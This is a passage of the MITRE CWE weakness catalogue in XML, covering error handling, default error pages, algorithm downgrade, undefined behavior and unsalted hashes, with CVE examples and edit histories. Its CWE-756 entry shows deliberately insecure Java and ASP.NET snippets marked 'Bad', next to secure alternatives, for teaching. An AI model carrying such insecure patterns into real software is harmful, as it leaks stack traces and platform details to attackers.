					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2010-02-16">Improper Check for Exceptional Conditions</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="755" Name="Improper Handling of Exceptional Conditions" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not handle or incorrectly handles an exceptional condition.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
	   <Observed_Example>
	     <Reference>CVE-2021-3011</Reference>
	     <Description>virtual interrupt controller in a virtualization product allows crash of host by writing a certain invalid value to a register, which triggers a fatal error instead of returning an error code</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2021-3011</Link>
	   </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4302</Reference>
               <Description>Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4302</Link>
            </Observed_Example>
         </Observed_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-03-03</Submission_Date>
               <Submission_Comment>New entry for reorganization of CWE-703.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description, Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="756" Name="Missing Custom Error Page" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not return custom error pages to the user, possibly exposing sensitive information.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="755" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="209" View_ID="1000"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-76">
               <Intro_Text>In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<xhtml:div style="margin-left:1em;">try {<xhtml:div style="margin-left:1em;">...</xhtml:div>} catch (ApplicationSpecificException ase) {<xhtml:div style="margin-left:1em;">logger.error("Caught: " + ase.toString());</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-75">
               <Intro_Text>The mode attribute of the &lt;customErrors&gt; tag in the Web.config file defines whether custom or default error pages are used.</Intro_Text>
               <Body_Text>In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.</Body_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>&lt;customErrors mode="Off" /&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.</Body_Text>
               <Example_Code Nature="Good" Language="ASP.NET">
                  <xhtml:div>&lt;customErrors mode="RemoteOnly" /&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>Another secure option is to set the mode attribute of the &lt;customErrors&gt; tag to use a custom page as follows:</Body_Text>
               <Example_Code Nature="Good" Language="ASP.NET">
                  <xhtml:div>&lt;customErrors mode="On" defaultRedirect="YourErrorPage.htm" /&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-03-03</Submission_Date>
               <Submission_Comment>New entry for reorganization of CWE-703.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="757" Name="Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.</Description>
         <Extended_Description>When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the product by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-4302</Reference>
               <Description>Attacker can select an older version of the software to exploit its vulnerabilities.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4302</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4407</Reference>
               <Description>Improper prioritization of encryption ciphers during negotiation leads to use of a weaker cipher.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4407</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2969</Reference>
               <Description>chain: SSL/TLS implementation disables a verification step (CWE-325) that enables a downgrade attack to a weaker protocol.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2969</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1444</Reference>
               <Description>Telnet protocol implementation allows downgrade to weaker authentication and encryption using an Adversary-in-the-Middle AITM attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1444</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1646</Reference>
               <Description>SSH server implementation allows override of configuration setting to use weaker authentication schemes. This may be a composite with CWE-642.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1646</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="220"/>
            <Related_Attack_Pattern CAPEC_ID="606"/>
            <Related_Attack_Pattern CAPEC_ID="620"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">This is related to CWE-300, although not all downgrade attacks necessarily require an entity that redirects or interferes with the network.  See examples.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-03-03</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="758" Name="Reliance on Undefined, Unspecified, or Implementation-Defined Behavior" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.</Description>
         <Extended_Description>This can lead to resultant weaknesses when the required properties change, such as when the product is ported to a different platform or if an interaction error (CWE-435) occurs.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-1902</Reference>
               <Description>Change in C compiler behavior causes resultant buffer overflows in programs that depend on behaviors that were undefined in the C standard.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-1902</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR32-C</Entry_ID>
               <Entry_Name>Ensure size arguments for variable length arrays are in a valid range</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ERR34-C</Entry_ID>
               <Entry_Name>Detect errors when converting a string to a number</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP30-C</Entry_ID>
               <Entry_Name>Do not depend on the order of evaluation for side effects</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP33-C</Entry_ID>
               <Entry_Name>Do not read uninitialized memory</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO46-C</Entry_ID>
               <Entry_Name>Do not access a closed file</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT34-C</Entry_ID>
               <Entry_Name>Do not shift an expression by a negative number of bits or by greater than or equal  to the number of bits that exist in the operand</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT36-C</Entry_ID>
               <Entry_Name>Converting a pointer to integer or integer to pointer</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM30-C</Entry_ID>
               <Entry_Name>Do not access freed memory</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC14-C</Entry_ID>
               <Entry_Name>Do not introduce unnecessary platform dependencies</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC15-C</Entry_ID>
               <Entry_Name>Do not depend on undefined behavior</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC37-C</Entry_ID>
               <Entry_Name>Ensure that control never reaches the end of a non-void function</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-03-03</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="759" Name="Use of a One-Way Hash without a Salt" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product does not also use a salt as part of the input.</Description>
         <Extended_Description>
            <xhtml:p>This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.</xhtml:p>
            <xhtml:p>It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="916" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Background_Details>
            <Background_Detail>In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>If an attacker can gain access to the hashes, then the lack of a salt makes it easier to conduct brute force attacks using techniques such as rainbow tables.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
